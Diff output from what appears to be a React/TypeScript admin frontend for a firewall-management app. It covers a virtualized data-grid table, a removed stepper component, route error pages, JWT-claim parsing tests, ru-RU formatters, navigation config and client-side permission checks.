elements: DataGridTableVirtualScrollElements
) => HTMLElement | null
}
interface DataGridTableVirtualProps<TData> {
height?: number | string
estimateSize?: number
overscan?: number
footerContent?: ReactNode
renderHeader?: boolean
onFetchMore?: () => void
isFetchingMore?: boolean
hasMore?: boolean
fetchMoreOffset?: number
virtualizerOptions?: DataGridTableVirtualizerOptions<TData>
}
interface VirtualBodyProps<TData> {
table: Table<TData>
topRows: Row<TData>[]
centerRows: Row<TData>[]
bottomRows: Row<TData>[]
virtualItems: VirtualItem[]
totalSize: number
isVirtualizationEnabled: boolean
isInfiniteMode: boolean
isFetchingMore: boolean
hasMore?: boolean
loadingMoreMessage: ReactNode
allRowsLoadedMessage: ReactNode
measureRowRef?: (element: HTMLTableRowElement | null) => void
}
function DataGridTableVirtualPinnedPlaceholderCell<TData>({
column,
}: {
column: Column<TData>
}) {
const { props } = useDataGrid()
const isPinned = column.getIsPinned()
const isLastLeftPinned = isPinned === "left" && column.getIsLastColumn("left")
const isFirstRightPinned =
isPinned === "right" && column.getIsFirstColumn("right")
return (
<td
aria-hidden="true"
style={{
...(props.tableLayout?.columnsPinnable &&
column.getCanPin() &&
getPinningStyles(column)),
...(props.tableLayout?.columnsResizable && {
width: `calc(var(--col-${column.id}-size) * 1px)`,
}),
}}
data-pinned={isPinned || undefined}
data-last-col={
isLastLeftPinned ? "left" : isFirstRightPinned ? "right" : undefined
}
className={cn(
"p-0",
props.tableLayout?.cellBorder && "border-e",
props.tableLayout?.columnsPinnable &&
column.getCanPin() &&
"data-pinned:bg-background data-pinned:isolate [&[data-pinned=left][data-last-col=left]]:shadow-[inset_-1px_0_0_0_var(--border)] [&[data-pinned=right][data-last-col=right]]:shadow-[inset_1px_0_0_0_var(--border)]"
)}
/>
)
}
function DataGridTableVirtualUtilityRow<TData>({
table,
children,
centerCellClassName,
centerCellStyle,
rowClassName,
ariaHidden,
}: {
table: Table<TData>
children: ReactNode
centerCellClassName?: string
centerCellStyle?: CSSProperties
rowClassName?: string
ariaHidden?: boolean
}) {
const { props } = useDataGrid()
const leftVisibleColumns = table.getLeftVisibleLeafColumns()
const centerVisibleColumns = table.getCenterVisibleLeafColumns()
const rightVisibleColumns = table.getRightVisibleLeafColumns()
const hasRightPinnedColumns = hasDataGridTableRightPinnedColumns(table)
return (
<tr aria-hidden={ariaHidden || undefined} className={rowClassName}>
{leftVisibleColumns.map((column) => (
<DataGridTableVirtualPinnedPlaceholderCell
column={column}
key={column.id}
/>
))}
<td
colSpan={Math.max(centerVisibleColumns.length, 1)}
className={centerCellClassName}
style={centerCellStyle}
>
{children}
</td>
{props.tableLayout?.columnsResizable && hasRightPinnedColumns ? (
<DataGridTableFillBodyCell />
) : null}
{rightVisibleColumns.map((column) => (
<DataGridTableVirtualPinnedPlaceholderCell
column={column}
key={column.id}
/>
))}
{props.tableLayout?.columnsResizable && !hasRightPinnedColumns ? (
<DataGridTableFillBodyCell />
) : null}
</tr>
)
}
function DataGridTableVirtualSpacer<TData>({
table,
height,
}: {
table: Table<TData>
height: number
}) {
if (height <= 0) return null
return (
<DataGridTableVirtualUtilityRow
table={table}
ariaHidden
centerCellClassName="p-0"
centerCellStyle={{ height, padding: 0 }}
>
{null}
</DataGridTableVirtualUtilityRow>
)
}
function DataGridTableVirtualStatusRow<TData>({
table,
children,
className,
}: {
table: Table<TData>
children: ReactNode
className?: string
}) {
return (
<DataGridTableVirtualUtilityRow
table={table}
centerCellClassName={cn(
"text-muted-foreground py-4 text-center text-sm",
className
)}
>
{children}
</DataGridTableVirtualUtilityRow>
)
}
function DataGridTableVirtualBody<TData>({
table,
topRows,
centerRows,
bottomRows,
virtualItems,
totalSize,
isVirtualizationEnabled,
isInfiniteMode,
isFetchingMore,
hasMore,
loadingMoreMessage,
allRowsLoadedMessage,
measureRowRef,
}: VirtualBodyProps<TData>) {
const { isLoading } = useDataGrid()
const totalRows = topRows.length + centerRows.length + bottomRows.length
if (!totalRows) {
// Initial load must not flash the empty state as if the query returned
// nothing.
if (isLoading) {
return (
<DataGridTableVirtualStatusRow table={table}>
<div className="flex items-center justify-center gap-2">
<Spinner className="size-4 opacity-60" />
{loadingMoreMessage}
</div>
</DataGridTableVirtualStatusRow>
)
}
return <DataGridTableEmpty />
}
const hasCenterRows = centerRows.length > 0
const showFetchingRow = isInfiniteMode && isFetchingMore
const showCompleteRow = isInfiniteMode && hasMore === false && totalRows > 0
const hasMiddleSection = hasCenterRows || showFetchingRow || showCompleteRow
const leadingSpacerHeight =
isVirtualizationEnabled && hasCenterRows && virtualItems.length > 0
? (virtualItems[0]?.start ?? 0)
: 0
const trailingSpacerHeight =
isVirtualizationEnabled && hasCenterRows && virtualItems.length > 0
? Math.max(
0,
totalSize - (virtualItems[virtualItems.length - 1]?.end ?? 0)
)
: 0
const renderedRows: ReactNode[] = []
topRows.forEach((row, index) => {
renderedRows.push(
<DataGridTableRenderedRow
key={row.id}
row={row}
pinnedBoundary={
index === topRows.length - 1 && hasMiddleSection ? "top" : undefined
}
/>
)
})
if (isVirtualizationEnabled) {
if (leadingSpacerHeight > 0) {
renderedRows.push(
<DataGridTableVirtualSpacer
key="virtual-spacer-start"
table={table}
height={leadingSpacerHeight}
/>
)
}
virtualItems.forEach((virtualRow) => {
const row = centerRows[virtualRow.index]
if (!row) return
renderedRows.push(
<DataGridTableRenderedRow
key={row.id}
row={row}
rowRef={measureRowRef}
rowIndex={virtualRow.index}
/>
)
})
if (trailingSpacerHeight > 0) {
renderedRows.push(
<DataGridTableVirtualSpacer
key="virtual-spacer-end"
table={table}
height={trailingSpacerHeight}
/>
)
}
} else {
centerRows.forEach((row) => {
renderedRows.push(<DataGridTableRenderedRow key={row.id} row={row} />)
})
}
if (showFetchingRow) {
renderedRows.push(
<DataGridTableVirtualStatusRow key="virtual-status-loading" table={table}>
<div className="flex items-center justify-center gap-2">
<Spinner className="size-4 opacity-60" />
{loadingMoreMessage}
</div>
</DataGridTableVirtualStatusRow>
)
}
if (showCompleteRow) {
renderedRows.push(
<DataGridTableVirtualStatusRow
key="virtual-status-complete"
table={table}
className="py-3 text-xs"
>
{allRowsLoadedMessage}
</DataGridTableVirtualStatusRow>
)
}
bottomRows.forEach((row, index) => {
renderedRows.push(
<DataGridTableRenderedRow
key={row.id}
row={row}
pinnedBoundary={
index === 0 && (topRows.length > 0 || hasMiddleSection)
? "bottom"
: undefined
}
/>
)
})
return <>{renderedRows}</>
}
/**
* Memoized virtual body: skip re-renders during active column resize.
* Column widths update via CSS variables on the <table> element,
* so the browser handles width changes without React re-renders.
*/
const MemoizedVirtualBody = memo(
DataGridTableVirtualBody,
(_prev, next) => !!next.table.getState().columnSizingInfo.isResizingColumn
) as typeof DataGridTableVirtualBody
function DataGridTableVirtual<TData>({
height,
estimateSize = 48,
overscan = 10,
footerContent,
renderHeader = true,
onFetchMore,
isFetchingMore = false,
hasMore,
fetchMoreOffset = 0,
virtualizerOptions,
}: DataGridTableVirtualProps<TData>) {
const { table, props } = useDataGrid()
const mergedHeaderGroups = getDataGridTableMergedHeaderGroups(table)
const hasRightPinnedColumns = hasDataGridTableRightPinnedColumns(table)
const { topRows, centerRows, bottomRows } = getDataGridTableRowSections(
table,
props.tableLayout?.rowsPinnable
)
const isInfiniteMode = typeof onFetchMore === "function"
const [viewportElements, setViewportElements] =
useState<DataGridTableVirtualScrollElements>({
containerElement: null,
scrollElement: null,
})
const {
estimateSize: customEstimateSize,
getItemKey: customGetItemKey,
getScrollElement: customGetScrollElement,
measureElement: customMeasureElement,
overscan: customOverscan,
...virtualizerOptionsRest
} = virtualizerOptions ?? {}
const isVirtualizationEnabled = virtualizerOptions?.enabled !== false
const loadingMoreMessage =
props.fetchingMoreMessage || props.loadingMessage || "Loading..."
const allRowsLoadedMessage =
props.allRowsLoadedMessage || "All records loaded"
const handleViewportRef = useCallback((node: HTMLDivElement | null) => {
setViewportElements({
containerElement: node,
scrollElement: node
? (getDataGridScrollAreaViewport(node) ?? node)
: null,
})
}, [])
const usesExternalScrollArea =
viewportElements.scrollElement !== null &&
viewportElements.scrollElement !== viewportElements.containerElement
const resolveScrollElement = useCallback(() => {
if (customGetScrollElement) {
return customGetScrollElement(viewportElements)
}
return viewportElements.scrollElement
}, [customGetScrollElement, viewportElements])
const resolveItemKey = useCallback(
(index: number) => {
const row = centerRows[index]
if (!row) return index
return customGetItemKey?.(index, row) ?? row.id ?? index
},
[centerRows, customGetItemKey]
)
const resolveEstimateSize = useCallback(
(index: number) => {
const row = centerRows[index]
return row
? (customEstimateSize?.(index, row) ?? estimateSize)
: estimateSize
},
[centerRows, customEstimateSize, estimateSize]
)
const virtualizer = useVirtualizer({
count: centerRows.length,
getScrollElement: resolveScrollElement,
getItemKey: resolveItemKey,
estimateSize: resolveEstimateSize,
overscan: customOverscan ?? overscan,
measureElement: customMeasureElement,
...virtualizerOptionsRest,
}) as DataGridTableVirtualizerInstance
const virtualItems = isVirtualizationEnabled
? virtualizer.getVirtualItems()
: []
const totalSize = isVirtualizationEnabled ? virtualizer.getTotalSize() : 0
const measureRowRef =
isVirtualizationEnabled && customMeasureElement
? virtualizer.measureElement
: undefined
const resolvedFetchMoreOffset = Math.max(0, fetchMoreOffset)
// Latch onFetchMore per row count: virtualItems gets a new identity every
// scroll frame, so without it the effect fires duplicate page requests
// before the consumer flips isFetchingMore, and loops at end-of-data when
// hasMore is never set.
const fetchMoreFiredAtCountRef = useRef<number | null>(null)
useEffect(() => {
if (
!isVirtualizationEnabled ||
!isInfiniteMode ||
hasMore === false ||
isFetchingMore
) {
return
}
const lastItem = virtualItems[virtualItems.length - 1]
if (!lastItem) return
if (fetchMoreFiredAtCountRef.current === centerRows.length) return
if (lastItem.index >= centerRows.length - 1 - resolvedFetchMoreOffset) {
fetchMoreFiredAtCountRef.current = centerRows.length
onFetchMore?.()
}
}, [
centerRows.length,
hasMore,
isFetchingMore,
isInfiniteMode,
isVirtualizationEnabled,
onFetchMore,
resolvedFetchMoreOffset,
virtualItems,
])
return (
<DataGridTableViewport
viewportRef={handleViewportRef}
className={!usesExternalScrollArea ? "block" : undefined}
style={
usesExternalScrollArea
? undefined
: {
height,
overflow: "auto",
position: "relative",
// Standalone mode: this node IS the scroll container, so it
// must stay at its parent's width (not the resizable table
// width) or horizontal scrolling becomes impossible.
width: "auto",
}
}
>
<DataGridTableBase>
{renderHeader && (
<DataGridTableHead>
{mergedHeaderGroups.map((headerGroup) => (
<DataGridTableHeadRow key={headerGroup.id} rowId={headerGroup.id}>
{headerGroup.headers
.filter((header) => header.column.getIsPinned() !== "right")
.map((header) => {
const { column } = header
return (
<DataGridTableHeadRowCell header={header} key={header.id}>
{header.isPlaceholder
? null
: flexRender(
header.column.columnDef.header,
header.getContext()
)}
{props.tableLayout?.columnsResizable &&
column.getCanResize() && (
<DataGridTableHeadRowCellResize header={header} />
)}
</DataGridTableHeadRowCell>
)
})}
{props.tableLayout?.columnsResizable &&
hasRightPinnedColumns ? (
<DataGridTableFillHeadCell />
) : null}
{headerGroup.headers
.filter((header) => header.column.getIsPinned() === "right")
.map((header) => {
const { column } = header
return (
<DataGridTableHeadRowCell header={header} key={header.id}>
{header.isPlaceholder
? null
: flexRender(
header.column.columnDef.header,
header.getContext()
)}
{props.tableLayout?.columnsResizable &&
column.getCanResize() && (
<DataGridTableHeadRowCellResize header={header} />
)}
</DataGridTableHeadRowCell>
)
})}
{props.tableLayout?.columnsResizable &&
!hasRightPinnedColumns ? (
<DataGridTableFillHeadCell />
) : null}
</DataGridTableHeadRow>
))}
</DataGridTableHead>
)}
{renderHeader &&
(props.tableLayout?.stripped || !props.tableLayout?.rowBorder) && (
<DataGridTableRowSpacer />
)}
<DataGridTableBody>
<MemoizedVirtualBody
table={table}
topRows={topRows}
centerRows={centerRows}
bottomRows={bottomRows}
virtualItems={virtualItems}
totalSize={totalSize}
isVirtualizationEnabled={isVirtualizationEnabled}
isInfiniteMode={isInfiniteMode}
isFetchingMore={isFetchingMore}
hasMore={hasMore}
loadingMoreMessage={loadingMoreMessage}
allRowsLoadedMessage={allRowsLoadedMessage}
measureRowRef={measureRowRef}
/>
</DataGridTableBody>
{footerContent && (
<DataGridTableFoot>{footerContent}</DataGridTableFoot>
)}
</DataGridTableBase>
</DataGridTableViewport>
)
}
export { DataGridTableVirtual }
export type {
DataGridTableVirtualProps,
DataGridTableVirtualScrollElements,
DataGridTableVirtualizerOptions,
}
-477
View File
@@ -1,477 +0,0 @@
import {
Children,
createContext,
HTMLAttributes,
isValidElement,
ReactElement,
useCallback,
useContext,
useEffect,
useMemo,
useRef,
useState,
} from "react"
import { mergeProps } from "@base-ui/react/merge-props"
import { useRender } from "@base-ui/react/use-render"
import { cn } from "@evofw/ui/lib/utils"
// Types
type StepperOrientation = "horizontal" | "vertical"
type StepState = "active" | "completed" | "inactive" | "loading"
type StepIndicators = {
active?: React.ReactNode
completed?: React.ReactNode
inactive?: React.ReactNode
loading?: React.ReactNode
}
interface StepperContextValue {
activeStep: number
setActiveStep: (step: number) => void
stepsCount: number
orientation: StepperOrientation
registerTrigger: (node: HTMLButtonElement | null) => void
triggerNodes: HTMLButtonElement[]
focusNext: (currentIdx: number) => void
focusPrev: (currentIdx: number) => void
focusFirst: () => void
focusLast: () => void
indicators: StepIndicators
}
interface StepItemContextValue {
step: number
state: StepState
isDisabled: boolean
isLoading: boolean
}
const StepperContext = createContext<StepperContextValue | undefined>(undefined)
const StepItemContext = createContext<StepItemContextValue | undefined>(
undefined
)
function useStepper() {
const ctx = useContext(StepperContext)
if (!ctx) throw new Error("useStepper must be used within a Stepper")
return ctx
}
function useStepItem() {
const ctx = useContext(StepItemContext)
if (!ctx) throw new Error("useStepItem must be used within a StepperItem")
return ctx
}
interface StepperProps extends HTMLAttributes<HTMLDivElement> {
defaultValue?: number
value?: number
onValueChange?: (value: number) => void
orientation?: StepperOrientation
indicators?: StepIndicators
}
function Stepper({
defaultValue = 1,
value,
onValueChange,
orientation = "horizontal",
className,
children,
indicators = {},
...props
}: StepperProps) {
const [activeStep, setActiveStep] = useState(defaultValue)
const [triggerNodes, setTriggerNodes] = useState<HTMLButtonElement[]>([])
// Register/unregister triggers
const registerTrigger = useCallback((node: HTMLButtonElement | null) => {
setTriggerNodes((prev) => {
if (node && !prev.includes(node)) {
return [...prev, node]
} else if (!node && prev.includes(node!)) {
return prev.filter((n) => n !== node)
} else {
return prev
}
})
}, [])
const handleSetActiveStep = useCallback(
(step: number) => {
if (value === undefined) {
setActiveStep(step)
}
onValueChange?.(step)
},
[value, onValueChange]
)
const currentStep = value ?? activeStep
// Keyboard navigation logic
const focusTrigger = (idx: number) => {
if (triggerNodes[idx]) triggerNodes[idx].focus()
}
const focusNext = (currentIdx: number) =>
focusTrigger((currentIdx + 1) % triggerNodes.length)
const focusPrev = (currentIdx: number) =>
focusTrigger((currentIdx - 1 + triggerNodes.length) % triggerNodes.length)
const focusFirst = () => focusTrigger(0)
const focusLast = () => focusTrigger(triggerNodes.length - 1)
// Context value
const contextValue = useMemo<StepperContextValue>(
() => ({
activeStep: currentStep,
setActiveStep: handleSetActiveStep,
stepsCount: Children.toArray(children).filter(
(child): child is ReactElement =>
isValidElement(child) &&
(child.type as { displayName?: string }).displayName === "StepperItem"
).length,
orientation,
registerTrigger,
focusNext,
focusPrev,
focusFirst,
focusLast,
triggerNodes,
indicators,
}),
[
currentStep,
handleSetActiveStep,
children,
orientation,
registerTrigger,
triggerNodes,
]
)
return (
<StepperContext.Provider value={contextValue}>
<div
role="tablist"
aria-orientation={orientation}
data-slot="stepper"
className={cn("w-full", className)}
data-orientation={orientation}
{...props}
>
{children}
</div>
</StepperContext.Provider>
)
}
interface StepperItemProps extends React.HTMLAttributes<HTMLDivElement> {
step: number
completed?: boolean
disabled?: boolean
loading?: boolean
}
function StepperItem({
step,
completed = false,
disabled = false,
loading = false,
className,
children,
...props
}: StepperItemProps) {
const { activeStep } = useStepper()
const state: StepState =
completed || step < activeStep
? "completed"
: activeStep === step
? "active"
: "inactive"
const isLoading = loading && step === activeStep
return (
<StepItemContext.Provider
value={{ step, state, isDisabled: disabled, isLoading }}
>
<div
data-slot="stepper-item"
className={cn(
"group/step flex items-center justify-center not-last:flex-1 group-data-[orientation=horizontal]/stepper-nav:flex-row group-data-[orientation=vertical]/stepper-nav:flex-col",
className
)}
data-state={state}
{...(isLoading ? { "data-loading": true } : {})}
{...props}
>
{children}
</div>
</StepItemContext.Provider>
)
}
type StepperTriggerProps = useRender.ComponentProps<"button">
function StepperTrigger({
className,
children,
tabIndex,
render,
...props
}: StepperTriggerProps) {
const { state, isLoading } = useStepItem()
const stepperCtx = useStepper()
const {
setActiveStep,
activeStep,
registerTrigger,
triggerNodes,
focusNext,
focusPrev,
focusFirst,
focusLast,
} = stepperCtx
const { step, isDisabled } = useStepItem()
const isSelected = activeStep === step
const id = `stepper-tab-${step}`
const panelId = `stepper-panel-${step}`
// Register this trigger for keyboard navigation
const btnRef = useRef<HTMLButtonElement>(null)
useEffect(() => {
if (btnRef.current) {
registerTrigger(btnRef.current)
}
}, [btnRef.current])
// Find our index among triggers for navigation
const myIdx = useMemo(
() =>
triggerNodes.findIndex((n: HTMLButtonElement) => n === btnRef.current),
[triggerNodes, btnRef.current]
)
const handleKeyDown = (e: React.KeyboardEvent<HTMLButtonElement>) => {
switch (e.key) {
case "ArrowRight":
case "ArrowDown":
e.preventDefault()
if (myIdx !== -1 && focusNext) focusNext(myIdx)
break
case "ArrowLeft":
case "ArrowUp":
e.preventDefault()
if (myIdx !== -1 && focusPrev) focusPrev(myIdx)
break
case "Home":
e.preventDefault()
if (focusFirst) focusFirst()
break
case "End":
e.preventDefault()
if (focusLast) focusLast()
break
case "Enter":
case " ":
e.preventDefault()
setActiveStep(step)
break
}
}
const defaultProps = {
role: "tab",
id,
"aria-selected": isSelected,
"aria-controls": panelId,
tabIndex: typeof tabIndex === "number" ? tabIndex : isSelected ? 0 : -1,
"data-slot": "stepper-trigger",
"data-state": state,
"data-loading": isLoading,
className: cn(
"focus-visible:border-ring focus-visible:ring-ring/50 inline-flex cursor-pointer items-center outline-none focus-visible:z-10 focus-visible:ring-3 disabled:pointer-events-none disabled:opacity-60",
"gap-2.5 rounded-full",
className
),
onClick: () => setActiveStep(step),
onKeyDown: handleKeyDown,
disabled: isDisabled,
children,
}
return useRender({
defaultTagName: "button",
render,
ref: btnRef,
props: mergeProps<"button">(defaultProps, props),
})
}
function StepperIndicator({
children,
className,
}: React.ComponentProps<"div">) {
const { state, isLoading } = useStepItem()
const { indicators } = useStepper()
return (
<div
data-slot="stepper-indicator"
data-state={state}
className={cn(
"border-background bg-accent text-accent-foreground data-[state=completed]:bg-primary data-[state=completed]:text-primary-foreground data-[state=active]:bg-primary data-[state=active]:text-primary-foreground relative flex size-6 shrink-0 items-center justify-center overflow-hidden",
"rounded-full text-xs",
className
)}
>
<div className="absolute">
{indicators &&
((isLoading && indicators.loading) ||
(state === "completed" && indicators.completed) ||
(state === "active" && indicators.active) ||
(state === "inactive" && indicators.inactive))
? (isLoading && indicators.loading) ||
(state === "completed" && indicators.completed) ||
(state === "active" && indicators.active) ||
(state === "inactive" && indicators.inactive)
: children}
</div>
</div>
)
}
function StepperSeparator({ className }: React.ComponentProps<"div">) {
const { state } = useStepItem()
return (
<div
data-slot="stepper-separator"
data-state={state}
className={cn(
"bg-muted rounded-sm group-data-[orientation=horizontal]/stepper-nav:h-0.5 group-data-[orientation=vertical]/stepper-nav:h-12 group-data-[orientation=vertical]/stepper-nav:w-0.5 m-0.5 group-data-[orientation=horizontal]/stepper-nav:flex-1",
className
)}
/>
)
}
function StepperTitle({ children, className }: React.ComponentProps<"h3">) {
const { state } = useStepItem()
return (
<h3
data-slot="stepper-title"
data-state={state}
className={cn(
"text-sm leading-none font-medium",
className
)}
>
{children}
</h3>
)
}
function StepperDescription({
children,
className,
}: React.ComponentProps<"div">) {
const { state } = useStepItem()
return (
<div
data-slot="stepper-description"
data-state={state}
className={cn(
"text-muted-foreground text-sm",
className
)}
>
{children}
</div>
)
}
function StepperNav({ children, className }: React.ComponentProps<"nav">) {
const { activeStep, orientation } = useStepper()
return (
<nav
data-slot="stepper-nav"
data-state={activeStep}
data-orientation={orientation}
className={cn(
"group/stepper-nav inline-flex data-[orientation=horizontal]:w-full data-[orientation=horizontal]:flex-row data-[orientation=vertical]:flex-col",
className
)}
>
{children}
</nav>
)
}
function StepperPanel({ children, className }: React.ComponentProps<"div">) {
const { activeStep } = useStepper()
return (
<div
data-slot="stepper-panel"
data-state={activeStep}
className={cn("w-full", className)}
>
{children}
</div>
)
}
interface StepperContentProps extends React.ComponentProps<"div"> {
value: number
forceMount?: boolean
}
function StepperContent({
value,
forceMount,
children,
className,
}: StepperContentProps) {
const { activeStep } = useStepper()
const isActive = value === activeStep
if (!forceMount && !isActive) {
return null
}
return (
<div
data-slot="stepper-content"
data-state={activeStep}
className={cn("w-full", className, !isActive && forceMount && "hidden")}
hidden={!isActive && forceMount}
>
{children}
</div>
)
}
export {
useStepper,
useStepItem,
Stepper,
StepperItem,
StepperTrigger,
StepperIndicator,
StepperSeparator,
StepperTitle,
StepperDescription,
StepperPanel,
StepperContent,
StepperNav,
type StepperProps,
type StepperItemProps,
type StepperTriggerProps,
type StepperContentProps,
}
+66
View File
@@ -0,0 +1,66 @@
import { Link } from '@tanstack/react-router'
import { CircleAlertIcon, SearchXIcon } from 'lucide-react'
import { Button } from '@evofw/ui/components/button'
/**
* Route-level error/not-found fallbacks (ReUI Frame look, RU copy).
* Preview: https://reui.io/preview/base/feature-4 (centered error panel)
*/
/** Error thrown by the root guard while the browser is already navigating to the portal. */
const PORTAL_REDIRECT_MESSAGE = 'redirecting to portal'
export function RouteErrorComponent({
error,
reset,
}: {
error: Error
reset: () => void
}) {
if (error.message === PORTAL_REDIRECT_MESSAGE) return null
return (
<div
role="alert"
className="flex min-h-[60vh] flex-col items-center justify-center gap-4 p-8 text-center"
>
<CircleAlertIcon className="text-destructive size-10" aria-hidden />
<div className="space-y-1">
<h1 className="text-lg font-semibold">Что-то пошло не так</h1>
<p className="text-muted-foreground max-w-md text-sm">
Раздел не загрузился. Проверьте соединение с API и попробуйте снова.
</p>
{import.meta.env.DEV && error.message ? (
<p className="text-muted-foreground/80 font-mono text-xs">
{error.message}
</p>
) : null}
</div>
<div className="flex gap-2">
<Button size="sm" onClick={reset}>
Повторить
</Button>
<Button size="sm" variant="outline" render={<Link to="/" />}>
На главную
</Button>
</div>
</div>
)
}
export function RouteNotFoundComponent() {
return (
<div className="flex min-h-[60vh] flex-col items-center justify-center gap-4 p-8 text-center">
<SearchXIcon className="text-muted-foreground size-10" aria-hidden />
<div className="space-y-1">
<h1 className="text-lg font-semibold">Страница не найдена</h1>
<p className="text-muted-foreground max-w-md text-sm">
Адрес не существует или был перемещён.
</p>
</div>
<Button size="sm" render={<Link to="/" />}>
На главную
</Button>
</div>
)
}
View File
View File
+36
View File
@@ -0,0 +1,36 @@
import { describe, it, expect } from 'vitest'
import { parseClaims } from './auth'
function makeToken(payload: object): string {
const b64 = (obj: object) =>
btoa(JSON.stringify(obj))
.replace(/\+/g, '-')
.replace(/\//g, '_')
.replace(/=+$/, '')
return `${b64({ alg: 'none' })}.${b64(payload)}.sig`
}
describe('parseClaims', () => {
it('parses a portal JWT payload', () => {
const claims = parseClaims(
makeToken({
sub: 'u1',
email: '[email protected]',
name: 'Admin',
apps: ['fw'],
permissions: ['fw:agents:write'],
is_admin: true,
exp: 1893456000,
}),
)
expect(claims?.sub).toBe('u1')
expect(claims?.apps).toEqual(['fw'])
expect(claims?.is_admin).toBe(true)
})
it('returns null for garbage / wrong shapes', () => {
expect(parseClaims('not-a-jwt')).toBeNull()
expect(parseClaims('a.b')).toBeNull()
expect(parseClaims('%%%')).toBeNull()
})
})
+74
View File
@@ -0,0 +1,74 @@
/**
* Shared ru-RU formatters — single source for dates/numbers across the app.
* All timestamps are ISO strings from the API.
*/
const packetFmt = new Intl.NumberFormat('ru-RU', {
notation: 'compact',
maximumFractionDigits: 1,
})
const numberFmt = new Intl.NumberFormat('ru-RU')
const shortDateTimeFmt = new Intl.DateTimeFormat('ru-RU', {
day: '2-digit',
month: '2-digit',
hour: '2-digit',
minute: '2-digit',
})
const dateTimeFmt = new Intl.DateTimeFormat('ru-RU')
const stampDateTimeFmt = new Intl.DateTimeFormat('ru-RU', {
day: '2-digit',
month: '2-digit',
year: 'numeric',
hour: '2-digit',
minute: '2-digit',
second: '2-digit',
})
const timeFmt = new Intl.DateTimeFormat('ru-RU', {
hour: '2-digit',
minute: '2-digit',
second: '2-digit',
})
/** Compact packet counter: 1,2K / 3,4M */
export function formatPackets(n: number | undefined | null): string {
if (n === undefined || n === null) return '—'
return packetFmt.format(n)
}
export function formatNumber(n: number | undefined | null): string {
if (n === undefined || n === null) return '—'
return numberFmt.format(n)
}
/** dd.MM HH:mm — dense "seen" stamps in grids/cards */
export function formatShortDateTime(iso: string | null | undefined): string {
if (!iso) return '—'
const t = Date.parse(iso)
if (Number.isNaN(t)) return '—'
return shortDateTimeFmt.format(new Date(t))
}
/** Full locale date-time for detail panels */
export function formatDateTime(iso: string | null | undefined): string {
if (!iso) return '—'
const t = Date.parse(iso)
if (Number.isNaN(t)) return iso
return dateTimeFmt.format(new Date(t))
}
/** dd.MM.yyyy HH:mm:ss — block-stats "seen" stamps */
export function formatStampDateTime(iso: string | null | undefined): string {
if (!iso) return '—'
const t = Date.parse(iso)
if (Number.isNaN(t)) return iso
return stampDateTimeFmt.format(new Date(t))
}
export function formatTime(d: Date): string {
return timeFmt.format(d)
}
+27
View File
@@ -0,0 +1,27 @@
import { describe, it, expect } from 'vitest'
import { NAV_ITEMS, NAV_SECTIONS, navLabel, navParentForDetail } from './nav'
describe('nav config', () => {
it('every nav item has label, icon, keywords and a known section', () => {
const sectionIds = new Set(NAV_SECTIONS.map((s) => s.id))
for (const item of NAV_ITEMS) {
expect(item.label.length).toBeGreaterThan(0)
expect(item.keywords.length).toBeGreaterThan(0)
expect(sectionIds.has(item.section)).toBe(true)
}
})
it('navLabel resolves known routes', () => {
expect(navLabel('/')).toBe('Панель управления')
expect(navLabel('/agents')).toBe('Агенты')
expect(navLabel('/nope')).toBeUndefined()
})
it('navParentForDetail maps detail routes to parents', () => {
expect(navParentForDetail('/agents/abc')).toBe('/agents')
expect(navParentForDetail('/lists/abc')).toBe('/lists')
expect(navParentForDetail('/rules/set-1')).toBe('/rules')
expect(navParentForDetail('/settings')).toBeUndefined()
expect(navParentForDetail('/agents/abc/preview')).toBeUndefined()
})
})
+95
View File
@@ -0,0 +1,95 @@
import {
BarChart3Icon,
LayoutDashboardIcon,
ListIcon,
ServerIcon,
SettingsIcon,
ShieldIcon,
} from 'lucide-react'
/**
* Single source of the app's route structure: sidebar sections, ⌘K search and
* header breadcrumbs all render from this config.
*/
export type NavSectionId = 'overview' | 'ops' | 'system'
export type NavItem = {
to: string
label: string
/** Exact active-state match (root only); prefix match otherwise. */
exact?: boolean
keywords: string[]
icon: typeof ServerIcon
section: NavSectionId
}
export const NAV_ITEMS: readonly NavItem[] = [
{
to: '/',
label: 'Панель управления',
exact: true,
keywords: ['dashboard', 'панель', 'обзор'],
icon: LayoutDashboardIcon,
section: 'overview',
},
{
to: '/agents',
label: 'Агенты',
keywords: ['agents', 'агенты', 'nodes'],
icon: ServerIcon,
section: 'ops',
},
{
to: '/lists',
label: 'Списки',
keywords: ['lists', 'списки', 'blocklist'],
icon: ListIcon,
section: 'ops',
},
{
to: '/rules',
label: 'Наборы правил',
keywords: ['rules', 'правила', 'policy', 'наборы', 'sets'],
icon: ShieldIcon,
section: 'ops',
},
{
to: '/stats',
label: 'Статистика',
keywords: ['stats', 'статистика', 'packets'],
icon: BarChart3Icon,
section: 'ops',
},
{
to: '/settings',
label: 'Настройки',
keywords: ['settings', 'настройки'],
icon: SettingsIcon,
section: 'system',
},
]
export const NAV_SECTIONS = [
{ id: 'overview', label: 'Обзор' },
{ id: 'ops', label: 'Операции' },
{ id: 'system', label: 'Система' },
] as const satisfies readonly { id: NavSectionId; label: string }[]
export function navItemsForSection(section: NavSectionId): readonly NavItem[] {
return NAV_ITEMS.filter((item) => item.section === section)
}
export function navLabel(to: string): string | undefined {
return NAV_ITEMS.find((item) => item.to === to)?.label
}
/** Detail routes (…/:id) that nest under a nav route. */
const DETAIL_PARENT_RE = /^\/(agents|lists|rules)\/[^/]+$/
export function navParentForDetail(
pathname: string,
): string | undefined {
const m = pathname.match(DETAIL_PARENT_RE)
return m ? `/${m[1]}` : undefined
}
+19
View File
@@ -0,0 +1,19 @@
import { hasPermission } from '@evofw/shared'
import { getClaims, isAuthEnabled } from './auth'
/**
* Client-side RBAC gating. The backend remains authoritative; this only hides
* actions the current portal user cannot perform (fw:<section>:<read|write|admin>).
* When auth is disabled (dev) everything is allowed.
*/
export function can(permission: string): boolean {
if (!isAuthEnabled()) return true
const claims = getClaims()
if (!claims) return false
if (claims.is_admin) return true
return hasPermission(claims.permissions ?? [], permission)
}
export function useCan() {
return can
}
View File
+6
View File
@@ -6,6 +6,10 @@ import {
isTokenValid,
redirectToPortalLogin,
} from '@/lib/auth'
import {
RouteErrorComponent,
RouteNotFoundComponent,
} from '@/components/route-error'
export type RouterContext = {
queryClient: QueryClient
@@ -22,4 +26,6 @@ export const Route = createRootRouteWithContext<RouterContext>()({
}
},
component: () => <Outlet />,
errorComponent: RouteErrorComponent,
notFoundComponent: RouteNotFoundComponent,
})
+45 -9
View File
@@ -47,6 +47,7 @@ import { ConfirmDialog } from '@/components/confirm-dialog'
import { QueryState } from '@/components/query-state'
import { agentsQueryOptions, settingsQueryOptions } from '@/queries'
